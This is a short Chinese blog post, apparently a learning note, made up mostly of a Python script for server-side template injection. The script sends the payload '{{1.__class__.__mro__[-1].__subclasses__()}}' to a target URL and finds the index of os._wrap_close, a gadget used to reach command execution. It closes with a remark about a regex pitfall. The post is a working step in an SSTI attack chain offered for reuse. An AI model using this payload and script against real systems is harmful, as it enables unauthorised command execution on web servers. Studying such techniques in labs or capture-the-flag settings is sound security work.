ssti寻找可命令执行类脚本

目标类:os._wrap_close

#引入html模块用于处理html转义字符
import requests,html,re

url='target url'
# 设置请求头
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"}
#设置请求参数
kw = {'name':'{{1.__class__.__mro__[-1].__subclasses__()}}'}
# params 接收一个字典或者字符串的查询参数,字典类型自动转换为url编码,不需要urlencode()
response = requests.get(url, params = kw, headers = headers)

text=html.unescape(response.text)

#key = re.compile(r'\'\w*\'')

class_list=re.split(',',text)

print(class_list[0])

for index,value in enumerate(class_list):
    if(re.search('os._wrap_close',value)!=None):
        print(index)

关于写脚本时踩过的一点坑,刚开始我的想法是使用re.findall()来把字符串分割成字符:

key = re.compile(r'\'\w*\'')
class_list=re.findall(key,text)

但是re.findall()函数返回的列表只有92个元素,不知道什么原因。

 

posted @ 2023-06-17 19:46  Galio  阅读(10)  评论(0编辑  收藏  举报